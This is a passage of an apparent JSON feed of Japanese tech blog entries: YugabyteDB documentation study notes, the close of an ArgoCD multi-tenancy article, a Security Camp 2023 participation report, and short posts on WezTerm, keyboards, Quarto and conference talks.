おわりにKubernetesのマルチテナントパターンとArgoCDでのパターン実践をもりもり布教しました。あらゆる面からマニフェストのデプロイを制限してくれる、AppProjectテナントの素晴らしさが伝わりましたでしょうか。KubernetesのマルチテナントパターンをArgoCDでどう実践するべきか、について困っている方の助けになれば幸いです\uD83D\uDC4D謝辞本記事のタイトルは、私が崇拝しているドメイン駆動設計の書籍 \\"実践ドメイン駆動設計\\" から拝借しました\uD83D\uDE4Fまた、ArgoCDでのパターン実践の収集にあたり、以下の方からの意見も参考にさせていただきました。@toversus26 さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍GitOps Cookbook: Kubernetes Automation in Practice (English Edition)作者:Vinto, Natale,Bueno, Alex SotoO\'Reilly MediaAmazonGitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux作者:Yuen, Billy,Matyushentsev, Alexander,Ekenstam, Todd,Suen, JesseManning PublicationsAmazon","isoDate":"2023-08-18T02:06:46.000Z","dateMiliSeconds":1692324406000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"YugabyteDBのドキュメントを全部読む Day5","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/5_core_functions_universe_creation","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-Master serviceを読みました。今回はArchitecture > Core functions > Universe creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Universe creationYugabyteDBのユニバース作成は複数のステップを含む。Start YB-MastersYBユニバース作成の最初のステップはレプリケーションファクターで指定された数だけYB-Masterを作成することである。作成されたYB-Masterはそれぞれを認識している。YB-Masterはユニバース内でユニークなID(UUID)をそれぞれに割り当て、それぞれを認識しあったあとにリーダーエレクションを実行する。このステップの終りにYB-Masterの中のひとつがリーダーとして確立される。Start YB-TServersノードの数だけYB-TServerを起動し、それぞれにマスターのアドレスを渡す。それぞれのYB-TServerはマスターにハートビートを送信し、正常に動作していることを確認する。ハートビートはYB-TServerが現在ホストしているタブレットとその負荷情報についても通信するが、この時点ではタブレットにデータは登録されていない。Examples4ノードからなるYBユニバースにテーブルを作成する場合について考える。テーブルのレプリケーションファクターは3とする。3つのマスターがcreateモードで起動される。これはマスターがすでに起動しているために発生するエラーを防ぐために明示的に実行される。リーダーエレクションを実行し、リーダーを選出する。YB-TServerが起動し、全てのYB-TServerがマスターにハートビートを送信する。","isoDate":"2023-08-16T13:49:19.000Z","dateMiliSeconds":1692193759000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"セキュリティ・キャンプ 2023 参加記","link":"https://moz-security.hatenablog.com/entry/2023/08/15/015853","contentSnippet":"8月7日から8月11日まで開催されたセキュリティ・キャンプの Bクラス(Webセキュリティ)に参加してきたので、やってきたことや感想について、体験記として書き残そうと思う。セキュリティ・キャンプについては、以下のホームページを参照してほしい。今年が20回目の開催で、4年ぶりに対面で行われた。www.ipa.go.jp応募課題まず、セキュリティ・キャンプに参加するには、応募課題を解かなければならない。これに関しては、また別のブログとして、私の答案については出そうと思うが、今までのプログラミング言語やコンテナ技術の利用経験を問われたり、Webにおける脆弱性の検証と調査、Webの標準や実装の調査を行なって、それをレポートとしてまとめ、提出した.応募課題は、下記のURLにある。セキュリティ・キャンプ全国大会2023 応募要項(エントリー) | デジタル人材の育成 | IPA 独立行政法人 情報処理推進機構共通講義共通講義では、行動経済学やXR、国際政治とセキュリティといったものやサイバー犯罪についての講義があった。これらについてはあまり書かないが、日頃勉強している技術的なもの以外の部分について学ぶことができるいい機会であり、新鮮であった。サイバーセキュリティという分野は、法律・犯罪と密接に関連してくるにも関わらず、グレー部分の範囲がとても広くて、どこまでが許されて、どこからがダメなのかという判断が難しい。そのため、ワークショップの形で弁護士や検事の方の考えを知ることができたのはよかった。講義の中でも仰っていたが、私はあくまで技術者であり、法律家ではない。だからこそ、”わかった気にならない”という点は気をつけようと思った。専門講義専門講義では、各クラスによって講義が変わってくる。Bクラスでは、Webセキュリティをテーマにして、講義が構成されている。基本的には4時間の講義で、どれも座学と演習が 1:1 くらいの割合になっており、手を動かしたり、ツールの動きを確認しながらだったため、概念だけでなく、実装も学べたし、何よりも楽しかった。講師の方が一般に公開している資料については一緒に貼っている。1日目B-1 Webプロダクトセキュリティへの誘い最初の講義は、初日の18:30~20:30に行われた。この講義では、プロデューサーがどのような意図を持って講義を構成したか、何を学んでほしいのかというところを整理した。このクラスでは、\\"将来と今の両方を考えて、意思決定ができるリーダーになること\\" を目標としており、その時点でいろいろ考えさせられた.私の感覚では、すごいセキュリティエンジニアというのは、技術のことをたくさん知っていることだったからである.でも、実際に社会に出ると、技術とは違ったベクトルの強さというものが必要だとわかった.これに関しては、 この時点でも納得はしていたが、B-5やB-7の講義を受けた後により強く実感した.技術的な強さだけであれば、5日間ひたすらWebアプリケーションの脆弱性を勉強して、探せばいいが、そのような構成にはなっていない.\\"How と Why を考えながら受講すること\\"というのは念を押されたが、これに関しては、非常に大切なことであり、日頃から意識する必要があると感じた。また、B-2からB-7の講義に関して、自分がどこまでわかっていて、どのようなことを学べそうか、何を習得することを目標にするかというのを考えて、グループワークでお互いに共有した.1つ例を挙げると、B-2の講義に関して、サイバーキルチェーンやActive Directoryはわかるが CI/CDパイプライン を狙った攻撃とはなんなのか、加えて攻撃者はどういう視点とか考えで攻撃を計画するのかというのはわからないから学びたいというのがあった.2日目B-2 開発のプロセスを攻撃者の視点で捉えるこの講義は、2日目の8:30~12:30に行われた.この講義では、なぜ攻撃をするのかというところから始まり、レッドチーム演習の効果やサイバーキルチェーンと攻撃フローについて座学で学んだ.また、仮想環境で攻撃演習を行うことで、実際に攻撃フローを見ることができた.演習で自分で攻撃してみることで、攻撃者の視点というものをより実感することができた.最終的には、防御側ができることを考えたが、攻撃者の視点を持つことで、より深く考えることができた.レッドチーム演習の情報はWebで調べてもあまり出てこないため、その界隈の第一人者の方から、生の声を聞けたのはよかったし、貴重な経験になった.最近、Hack The Boxに取り組めていなかったが,講義を受講して、モチベーションが上がり、また再開した.この講義では、CI/CD環境のセキュリティについても学んだ.オンプレミスからクラウドへと環境の変化はあるが、\\"攻撃方法は変わったとしても、攻撃の流れは変わらない\\"というのが大事な点であった.例えば、攻撃モデルの一つにサイバーキルチェーンがあるが、この考え方はオンプレでもクラウドでも関係なく、有効である.今までCI/CDを狙った攻撃というのは全く想像もつかなかったが Github Actions などの CI/CD Configuration から Credential が漏洩したり、3rd party tool を汚染することで莫大な被害につながるといった CI/CD Pipeline への攻撃もなんとなく理解できた.B-3 クラウドネイティブセキュリティの実践と戦略この講義は、2日目の13:30~17:30に行われた.この講義では、そもそもクラウドネイティブとはなんなのかの説明を受けたのちに、Kubernetesが提供する耐障害性の機能やマイクロサービスのセキュリティについて学んだ.k8sを実際に動かして、アプリケーションのスケーリングの様子などを確認しながら進めることができたのはとてもよかった.また、コンテナから権限掌握→AWSアカウントの侵害という演習を通して、クラウドネイティブ環境を構築・運用するにあたって、どのようなことに気をつけなければならないかといったことを学んだ.k8sのセキュリティモニタリングに関して、eBPFの紹介も少しあった.事前課題や講義を通して、最低限 k8s が動かせるようになったり、提供している一部の仕組みについてはわかったりしたが、まだまだ知らない機能はたくさんあるし、現在進行形で新たな技術が生まれている分野である.たしかにクラウドネイティブ環境の構築・運用は難しいのかもしれないが、技術の面白さというのはとても感じたし、もっともっと学んでいきたいと思った.3日目B-4 Webサービスにおける安全な認証とID連携の実装この講義は、2日目の14:00~18:00に行われた.この講義では、最初に認証・認可の技術であるFIDO, WebAuthn, Passkey, OAuth, OpenID Connect についての用語とそれぞれの用語の関係に関して説明を受けた.各用語は知っているが、説明できるほどの理解はできていなかったため、整理して学ぶことができ、理解できた.また、認証・認可はWebアプリにおいて最もクリティカルな箇所であり,セキュリティも十分に配慮しなければならない.CSRFの発生メカニズムを押さえ、どうすれば防ぐことができOpenID Connectではどのような処理フローになっているのかを学ぶことで、安全な認証・認可を実現する仕組みについて理解できた.その後、パスキーのハンズオンとOpen ID Connectのハンズオンを行なった.ハンズオンでは、プログラムの穴あき部分を埋めることで、ちゃんと機能が実装できているか確認しながらステップアップ形式で進めた.ID連携やパスキーの実装となると、難しいイメージだったが、すでにあるライブラリを使うことで、簡単に実装することができた.一度学んだとしても、使わなければ忘れてしまうため、Webアプリケーションを開発するときに、今回学んだ技術を組み込むことで、さらなる理解と自分で使える技術にしたいと思う.B-5 適応し続けるプロダクトセキュリティ speakerdeck.com\xa0この講義は,3日目の19:00~20:40に行われた.この講義では,組織やプロダクトの変化に対して,セキュリティをどう確保するのか考える技術者というよりは,CISOといったセキュリティにおいてリーダーシップを発揮し,変化に対応する組織を作るにはどうすればいいのかといったことを学んだ.プロデューサーの\\"将来と今の両方を考えて,意思決定ができるリーダーになること\\"という思いが最も顕著に出ている講義であった.昨今の世の中は,プロダクトも組織もどんどん変化する時代であり,その変化に応じて,セキュリティのあり方も変わってくる.セキュリティの難しさはどこか一つでも弱い部分があってはいけないというところである.サービスを提供する場合,何か一つ強みがあれば,それで大ヒットするかもしれないが,セキュリティは全てが一定水準にならなければならない.プロダクト運営に求められるセキュリティは幅広いが,バランスよく,少しずつ積み重ねていくことが大事だとわかった.個人的には,セキュリティ人材が置かれる現実と求められることというところが面白く,より優れたセキュリティ人材,セキュリティ分野でリーダーシップを発揮して組織を変えるには,人間としての成長が不可欠だとわかった.\\"深化と探索のバランスとそれらの継続\\" が重要になってくると学んだ.将来は,セキュリティ関連の仕事をしたいとは思っていたが,CISOのようなリーダーシップを発揮して組織を変えていくということは考えたことがなかった.セキュリティ人材として成長するために,人間的な成長が必要になるというのは面白かった.4日目B-6 ソースコード解析によるWebアプリケーションの脆弱性調査この講義は,4日目の8:30~12:30に行われた.この講義では,ソースコードから脆弱性を探す方法について学んだ.最初に,静的解析で見つけやすい脆弱性の説明を受け,演習として,まずは,脆弱性を手動で探した.CVEが3つ取り上げられており,それらの脆弱性をNVDやそこに載っているGithubのPatchのプログラムやPoCを見て,調査した.プログラムベースで実際にどのような入力値であれば,脆弱性が悪用できるのかを探すのがこの調査のゴールであった.しかし,複雑なWebアプリケーションになると,大量の関数呼び出しによって,コードを追うのが大変になる.そこで,脆弱性調査の自動化のためのツールとして,CodeQLの説明があり,その後の演習で実際に使って,調査を行った.CodeQLを使うことで,特定の関数呼び出しや変数宣言,構文パターンを抽出することができ,脆弱性となりうるコードが含まれていないか簡単に調査できることがわかった.プログラムを書くことはあっても,解析して脆弱性を探し出すといったことはやったことがなかったため,新たな知見が得られたのはよかったし,楽しかった.自分で書いたコードに対して,脆弱性を探し,修正するといったことやバグバウンティに取り組むといったことも今後していきたいと思った.B-7 Policy as Code 入門docs.google.comこの講義は,4日目の13:30~17:30に行われた.この講義では,ポリシーをコードとして書くことで,k8sの設定ファイルやクラウドサービスのリソース状態の監視結果に対して制約を満たすかどうかチェックすることができるといったことを学んだ.この講義に関しても,B-5と同じで,一見セキュリティと関係ないため,今まで勉強してきたことがなかったが,クラウドサービスのリソースにポリシーを定義して不要なポートが開いてないかやクレデンシャルが書き込まれていないかなどのチェックはセキュリティ向上のためにも有効である.一部の先進的な組織しかPolicy as Codeを実践できていないという部分で,まだまだ新しい技術ではあるが,この講義を通して,こういうものがあるということを知れたのはよかった.演習では,3以降のよりリアルなポリシーになった途端に難しく,書くのに苦戦した.いつ使うことになるかわからないが,このようなものがあるというのを覚えておいて,いざという時に使えるようにしたいと思う.講義全体を通してB-1からB-7まで非常に幅広い分野の講義があり,それに加え,どの講義も4時間で終わり切らない程濃密なものであったため,まだ整理ができていない部分も多々ある.本当に知識をひたすら叩き込まれた感じであるため,また時間を取って整理して,理解したいと思う.4日間講義があり,ホームルームの時には思考停止するほどの疲れがあったが,講義内容の濃さと演習の楽しさでものすごい充実感はあった.あと,講義のレベルも高く,わからない箇所があったりもしたが,講師の方やチューターの方に質問するとなんでも教えてくださったため,問題なく演習を進めたり,疑問点を残すことなく学ぶことができた.対面での開催について今年は,4年ぶりの現地開催ということだったが,本当に楽しかった.5日間だけで,たくさんの人に出会ったし,たくさん話した.基本的にクラスで講義を受けるため,クラスの人とはずっと一緒にいることになり,仲良くなるが,だからこそ,食事のときや名刺交換会というのは違うクラスの子とも知り合ういい機会だった.ジュニアで参加している中学生とかから同世代の受講生やチューター,実際に社会で活躍している講師の方たちまで異なる立場や年齢の人たちと話すことができたのはよかった.X(Twitter)の中でよく見るすごい人たちと面と向かって話したり,議論できたりするのは楽しかったし,とても刺激を受けた.授業はもちろん素晴らしいのだが,同世代で自分よりもすごい人たちと出会い,それによってモチベーションが爆増するというのが個人的にはセキュリティ・キャンプに参加する一番のよさだと思う.学内という狭い世界で自分はそれなりにできると思っていても,全国から人が集まってくるセキュリティ・キャンプでは上には上がたくさんいるというのをすごい体感したし,もっと頑張ろうと思った.参加した感想今年22歳になるため,今年が最後のチャンスだったが,本当に参加することができて良かった.キャンプ参加が決まった後も,講義に対してワクワクしながらも,一方で講義についていけるのか,私みたいな人が行って大丈夫なのか,他の人たちはやっぱりつよつよなのかという不安はあったが,そんな不安は初日で解消した.たしかに,みんなすごい人たちだったが,コミュニケーションを取る上では,ITに興味があるというその一点だけで仲良くなることができたし,講義でわからないことがあったとしても,他の受講生やチューター,講師の方に聞いたらちゃんと教えてくださった.セキュリティに興味があるのなら,少しでも早いうちから応募課題に挑戦するべきだと思うし,そこで得られるものはたくさんある.たとえ,課題で落ちてしまったとしても,課題を解くことに意味があり,それだけでも知らないことをたくさん学ぶことができる.セキュリティ・キャンプ 2023 に参加したからこそ,心の底から参加することを勧めたい.来年は,チューターかネクストキャンプ受講生としてまた戻って来たいと思う.まとめ・どの講義も濃密で、わからない部分もあったが、チューターや講師の方のサポートもあり、なんとかついていくことができた.・やっぱり対面での開催はいい.・全国のすごい人たちを間近に見ることができ、刺激がもらえる.・セキュリティに興味がある人はもちろん、ITに興味がある人全員にセキュリティ・キャンプを進めたい.","isoDate":"2023-08-14T16:58:53.000Z","dateMiliSeconds":1692032333000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"WezTerm で快適な WSL2 環境にする","link":"https://blog.1q77.com/2023/08/wezterm-on-windows/","contentSnippet":"家の自分用 Laptop はずっと Linux を使ってきましたが、数か月前に Inspiron 14 に買い替えたタイミングで Ubuntu 22.04 にしてからやっぱり不便だなあとも思っていました。(Inp","isoDate":"2023-08-12T11:07:01.000Z","dateMiliSeconds":1691838421000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Keyball61のオレオレマッピングを語る","link":"https://blog.atusy.net/2023/08/12/keyball61/","contentSnippet":"たぶんKeyball61ユーザーの中でも珍しい配列をしているだろうと思うので、その背景も含めてまとめておく。右手トラックボールです。親指によるHold & Tap親指はCtrl, Shift, Alt, WinやLayer操作などの修飾キーの操作を担います。","isoDate":"2023-08-12T00:00:00.000Z","dateMiliSeconds":1691798400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SREからPlatform Engineerへの拡大","link":"https://speakerdeck.com/nwiizo/srekaraplatform-engineerhenokuo-da","contentSnippet":"SREからPlatform Engineerへの拡大 というタイトルで登壇してきました\\r\\rCloud Operator Days Tokyo 2023 運用の新時代 〜Effortless Operation〜\\rhttps://cloudopsdays.com/\\r\\rクラウドインフラ運用技術者のための年次イベント「Cloud Operator Days Tokyo 2023」の見所を紹介\\rhttps://cloud.watch.impress.co.jp/docs/news/1518302.html\\r\\rSREからPlatform Engineerへの拡大 というタイトルで登壇しました - じゃあ、おうちで学べる https://syu-m-5151.hatenablog.com/entry/2023/08/10/150412 \\r\\r登壇しかないので20分しかないのでギュッとしてしまいました。","isoDate":"2023-08-09T04:00:00.000Z","dateMiliSeconds":1691553600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day4","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/4_key_concepts_yb_master_service","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-TServer serviceを読みました。今回はArchitecture > Key Concepts > YB-Master serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。YB-Master serviceYB-Masterサービスはテーブルやそのタブレットの場所、ユーザー・ロールの権限といったシステムのメタデータとレコードの管理を行っている。それに加えYB-Masterはロードバランシングやレプリケーションの開始といったバックグラウンドオペレーションの管理や、テーブルのCREATEやALTER、DROPといった様々な管理オペレーションの責任を持つ。YB-MasterはRaft Groupを組むことで高可用性を実現し、またテーブルに対するI/Oの単一障害点にならない。Functions of YB-MasterYB-Masterはシステムの重要な機能を複数持っている。Coordination of universe-wide administrative operationsCREATE TABLEやALTER TABLE、DROP TABLEといったユーザーからのリクエスト処理やバックアップの実行などUniverseをまたぐオペレーション実行の調整を担当している。YB-Masterではこれらのオペレーションがテーブルを保持するYB-TServerの状態に関わらず、全てのテーブルに伝搬されることを保証する。YugabyteDBは分散システムのため、Universeをまたぐ処理中にYB-TServerに障害が発生し一部のタブレットへの適用に失敗してもオペレーションの結果に問題が発生しないことが重要だからである。Storage of system metadataそれぞれのYB-Masterではネームスペースやテーブル、ロール、パーミッション、YB-TServerへ割り当てたテーブル情報を含むシステムメタデータを保存している。これらのシステムレコードはYB-Masterを対象にRaftグループを組みレプリケーションすることで冗長性を実現している。またシステムレコードはYB-Masterが管理するDocDBに保存される。Authoritative source of tablet assignments to YB-TServersYB-Masterは全てのテーブルとそれらをホストするYB-TServerの情報を保存している。一般のクライアントではそれらの情報はクライアントからクエリレイヤなどを通して取得された上で、クライアントにメタデータを返しデータアクセスが行なわれる。一方でスマートクライアントではYB-Masterに保存されたメタデータを利用して特定のYB-TServerが保持するタブレットやキャッシュを利用することが出来るため、データアクセス時のネットワークをまたぐ通信を減らすことができパフォーマンスを高めることができる。Background operationsいくつかのオペレーションはUniverseのライフタイムを通してバックグラウンドで行なうことで、フォアグラウンドのRead/Writeに影響を与えずに実行することが出来る。Data placement and load balancingYB-MasterのリーダーはCREATE TABLE時にタブレットの初期配置をYB-TServerをまたいで行なう。そのときにユーザー定義のデータ配置制約を強制し均一な読み込みを保証する。Universeのライフタイム中のノード追加や障害が発生しても、負荷分散を継続しデータ配置の制約を自動的に適用する。Leader balancing複数のYB-TServerに配置されたタブレットへのアクセスがUniverseをまたいで分散されることを保証している一方で、YB-Masterは対象となるノード1間でそれぞれのノードが同じ数のtablet-peer leader2をもつことを保証する。Rereplication of data on extended YB-TServer failureYB-Masterは全てのYB-TServerからハードビートシグナルを受け取ることでYB-TServerの死活監視を行なっている。そしてYB-MasterはYB-TServerの異常を検知したときに、どれぐらいのあいだYB-TServerが異常であったかを追跡する。閾値を超えると、YB-Masterは障害中のYB-TServerに配置されていたタブレットを再配置するYB-TServerを探し、レプリケーションを実行する。レプリケーションはYB-Masterリーダーに抑制された状態で実行されるため、Universeのフォアグラウンドオペレーションには影響をおよぼさない。Raft Groupのリーダーになれるノード↩↩","isoDate":"2023-08-03T14:48:34.000Z","dateMiliSeconds":1691074114000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について","link":"https://speakerdeck.com/nwiizo/k8sgpt-deep-dive-kuberneteskurasutanoaiqu-dong-xing-fen-xi-nituite","contentSnippet":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析についてというタイトルで登壇しました\\r\\r2023年8月3日 CloudNative Days Fukuoka 2023\\rhttps://event.cloudnativedays.jp/cndf2023\\r\\rk8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について\\rhttps://event.cloudnativedays.jp/cndf2023/talks/1885\\r\\rK8sGPT Deep Dive というタイトルで登壇しました #CNDF - じゃあ、おうちで学べる \\rhttps://syu-m-5151.hatenablog.com/entry/2023/08/03/155326","isoDate":"2023-08-03T04:00:00.000Z","dateMiliSeconds":1691035200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"YugabyteDBのドキュメントを全部読む Day3","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/3_key_concepts_yb_tserver_service","contentSnippet":"YugabyteDBのドキュメントを全部読む Day3前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > Universeを読みました。今回はArchitecture > Key Concepts > YB-TServer serviceを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。それはそれとして技術系の単語をカタカナ表記で誤魔化していて、体系的に学んでいないことがバレてしまう。特にストレージまわりが分からない……YB-TServer serviceYB-TServer(YugabyteDB Tablet Servcer)はユーザからの受けつけたYugabyteDBクラスタへのリクエストのI/Oの処理をする。テーブルのデータは一つ以上のTablet peerに分割(シャーディング)される。peerの数はレプリケーションファクターによって決定される。YB-TServerは一つ以上のTablet peerをホストする。Tablet peerはRaftグループを形成してグループ間でデータの複製を行ない、タブレットはYB-TServer上で最大の効率になるように管理される。Server-global block cacheブロックキャッシュは一つTB-TServer上の異なるタブレット間で共有される。YB-TServerのメモリ効率は一つのテーブルからの読み込みが多いほど最適化される。Space AmplificationYugabyteDBではSize-tired Compactionというライトアンプリフィケーション1が小さい圧縮方式を利用している。Size-tired Compactionはスペースアンプリフィケーション2が大きいという問題があるが、YugabyteDBではテーブルは複数のタブレットに分割され、タブレット間でのConcurrent Compactionは特定の最大値まで絞られるため問題になりにくい。YugabyteDBでは凡そ10-20%のスペースアンプリフィケーションにおさまる。つまりSize-tired Compaction一単位が扱うデータ量を小さく(タブレット化)して、同時に実行される圧縮処理数を絞ることで特定のタイミングで圧縮に使用されるストレージ容量を抑えているということ?Throttled compactionsYB-TServerではタブレット間で実行される圧縮処理の同時実行数を制限することで、圧縮処理が多量のリソースを占有することを防いでいる。この機能は圧縮されるファイル同士のサイズを比べ、実行される圧縮処理が妥当であることを確認することで実現されている。Small and large compaction queuesYB-TServerでは圧縮処理を大きい圧縮処理と小さい圧縮処理に分けて優先度を決めることで、I/Oが大きな場合でもシステムの機能を保っている。YugabyteDBでは圧縮処理数を制限することに加え、様々な最適化を実行することで圧縮処理の影響を最小化している。Manual compactionYugabyteDBではyb-admin utilityのcompact_tableコマンドにより、任意のタイミングでテーブルに対して圧縮を実行することが出来る。この方法はデータが新しく書き込まれない場合や、DDLやTTLの超過によるデータ削除時によりデータが断片化したときに有効である。Statistics-based full compactions to improve read performanceYugabyteDBでは読み込まれたkey-valueペアをDocDBレベルで監視している。監視対象となる時間軸はauto-compact-stat-window-secondsで管理されている。YugabyteDBがデータ読み込み時に多量の廃棄されたデータのスキップを検知した場合、full compactionがトリガーされ不要なキーの削除が行なわれる。Full compactionがトリガーされる詳細な条件は対象の時間軸で以下が満された時である。廃棄されたキーとアクティブなキーが読まれる割り合いがauto-compact-percent-obsoleteで定義された閾値を超たとき。廃棄されたキーの読み込みauto-compact-min-obsolete-keys-foundで定義された閾値を超たとき。この機能はTTLを設定したテーブルと互換性があり、TTL file expirationが有効なテーブルではスケジュールされた圧縮を実行しない。Scheduled full compactionsYugabyteDBでは全てのデータに対するデータ圧縮をスケジュール実行することが出来る。スケジュール実行はscheduled-full-compaction-frequency-hoursとscheduled-full-compaction-jitter-factor-percentageのフラグで管理される。この機能は大量のDELETEとUPDATEを定常的に実行するワークロードでのパフォーマンスとディスクスペースの再割り当てに有効である。スケジュール化したデータ圧縮はTTLと互換しているが、TTL file expirationとは互換していない。つまりスケジュールされた圧縮は実行されない。Server-global memstore limitServer-global memstore limitは一つのYB-TServer上のタブレット間でシェアされるメモリサイズを追跡し、強制する。この機能はタブレット間の書き込みに偏りがある場合に有効である。一つのテーブルに書き込みが集中しているばあい、メモリ制限以上のメモリを割り当てることでパフォーマンスを向上させることが出来る。Auto-sizing of block cache and memstoreBlock Cacheとmemstoreは何れも多量のメモリを使用している。これらはtablet-peer間で共有されるリソースのため、メモリ管理とこれらのコンポーネントの様々な環境に合せたサイジングを容易にしている。YB-TServerでは自動で特定の割合のメモリをBlock CacheとMemstoreに割り当てる。Distributing tablet load uniformly across data disks複数のSSDを利用するハードウェアでは、テーブルのデータ(SSTable)とWALはテーブル毎に利用可能なディスクに均等に分散される。このストライピングと呼ばれる負荷分散は、それぞれのディスクがそれぞれのテーブルの負荷を均等に処理することを保証する。SSDで実際に書き込んだデータより書き込み量が増幅する現象。もちろんライトアンプリフィケーションが小さいほうが望ましい。↩↩","isoDate":"2023-08-02T16:13:24.000Z","dateMiliSeconds":1690992804000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Hello, Quarto","link":"https://blog.atusy.net/2023/08/01/hello-quarto/","contentSnippet":"本ブログはずっとblogdownを使って書いてきましたが、心機一転quartoで書いてみることにします。といってもblogdownユーザーであれば移行に特に苦労はなさそうです。blogdownはHugoを使ってページを構築するので、quartoとhugoの組み合わせ方を調べ、合わせればOK。","isoDate":"2023-08-01T00:00:00.000Z","dateMiliSeconds":1690848000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本語の「っ」から始まる送り仮名とSKK+AZIKによる日本語入力に関する考察","link":"https://blog.atusy.net/2023/08/01/skk-azik-and-sokuon-okuri/","contentSnippet":"始めにSKKという日本語入力システムがある。元々はEmacsというエディタ向けに開発されたものだが、現在では各種OSのIMEや他のエディタの日本語入力システムとしても活用されている。","isoDate":"2023-08-01T00:00:00.000Z","dateMiliSeconds":1690848000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NFT技術概論","link":"https://speakerdeck.com/shukob/nftji-shu-gai-lun","contentSnippet":"https://event.ospn.jp/osc2023-online-kyoto/session/1049448\\rOSC Onlineにて、ブロックチェーン上で表現されるNFT(Non Fungible Token:代替不能トークン)の技術概要についてお話ししました。\\r\\rブロックチェーン、イーサリアム・スマートコントラクトに触れた後、イーサリアム上でNFTを表現するためのERC721規格や、NFTでは画像データを保存するのに使われる分散ストレージのIPFS(InterPlanetary File System)について解説しています。","isoDate":"2023-07-29T04:00:00.000Z","dateMiliSeconds":1690603200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"YugabyteDBのドキュメントを全部読む Day2","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/2_key_concepts_universe","contentSnippet":"YugabyteDBのドキュメントを全部読む Day2前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Design goalsを読みました。今回はArchitecture > Key Concepts > Universeを読みます。また画像は同ドキュメントより引用しています。UniverseYugabyteDBは耐久性とスケーラビリティを兼ねそなえた分散データベースを達成するために、Universe1と呼ばれるノードのグループを持っている。Universeはビジネス要件やレイテンシの兼ね合いでシングルゾーン、単一リージョンマルチゾーン、マルチリージョン、同期・非同期レプリケーションなどを選択することが出来る。UnivereはClusterと表現されることもある。データの構成Universeは一つ以上のネームスペースを持つことができ、またネームスペースは一つ以上のテーブルを持つことができる。YugabyteDBではUniverse上に存在するノードにまたがって保持されるテーブルを設定に従って、シャーディングし、レプリケーション、ロードバランシングを行なう。YugabyteDBはノードやディスク、ゾーンなどに発生した障害に自動で対応し、必要であればデータを新規に分散、レプリケーションを行なう。ネームスペースはYSQLではデータベースに対応し、ほかのDBにおけるネームスペースに対応する2。YCQLではキースペースに対応し、Cassandraのキースペースに対応している。サービスコンポーネントUniverseはYugabyteDB Tablet Server(YB-TServer)とYugabyteDB Master Server(YB-Master)の二つで構成されている。YB-MasterとYB-TServerはRaftにより分散されており、高可用性を達成している。YB-Tserverはテーブルを始めとしたユーザーデータの保存、提供を担当する。YB-Masterはシステムのメタデータを管理し、システム全体のテーブルに対するDDLやメンテナンスの実行、ロードバランシングといったオペレーションを管理する。UniverseとClusterUniverseは一つのプライマリクラスタとゼロ個以上のレプリカクラスタによって構成されている。プライマリクラスタプライマリクラスタはRead/Write両方の実行と、プライマリクラスタ内のノード間の同期的なレプリケーションを担当する。リードレプリカクラスタリードレプリカクラスタはRead処理のみを実行する。Write処理は自動的にプライマリクラスタにルーティングされる。リードレプリカクラスタを利用することで、地理的に分散したデータに対する読み取りの遅延を小さくすることができる。データはプライマリクラスタから非同期的にとりこまれる。これはRaftの書き込みには関与しないRaftオブザーバとして機能する。GoogleのCloud Spannerでも同様にUniverseと呼ばれている↩PostgreSQLではSchemaの裏側に存在するデータ構造↩","isoDate":"2023-07-26T15:03:13.000Z","dateMiliSeconds":1690383793000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"YugabyteDBのドキュメントを全部読む Day1","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/1_design_goals","contentSnippet":"Day1最近Twitter改めXで「俺はDBのドキュメント端から端まで読んで強くなった」というX\'s1を複数みかけました。周りのエンジニアに一歩差をつける方法として、フレームワークやミドルウェアやライブラリのドキュメントを最初から最後までちゃんと読む、というのがあって、これはマジでコスパ抜群です。— 徳永広夢 (@tokuhirom) July 21, 2023 確かに私のRedisはこれ。 https://t.co/2y1E01aLGw— maru (@maruloop) July 22, 2023 私のMySQLもこれ。 https://t.co/BxiOjeQVPk— yoku0825 (@yoku0825) July 22, 2023 俺のpostgresqlもこれ。 https://t.co/URRjyXCpGI— そーだい@初代ALF (@soudai1025) July 22, 2023 PostgreSQL系NewSQLで最強になりたいのでYugabyteDBのドキュメントを順番に読んで行きます。ドキュメントはv2.19に対応したものです。手始めにArchitectureの一番先頭にあるDesign goalsから読みはじめます。また画像は同ドキュメントより引用しています。Design goalsYugabyteDBは以下を達成することを目標としている。1. 分散トランザクションを提供しながら強い一貫性を保証する。2. Query APIを再発明せず、既存のクエリ言語への互換を達成する。3. 高いパフォーマンスを保証する。4. 地理的に分散したデプロイを可能にする。5. Cloud Native 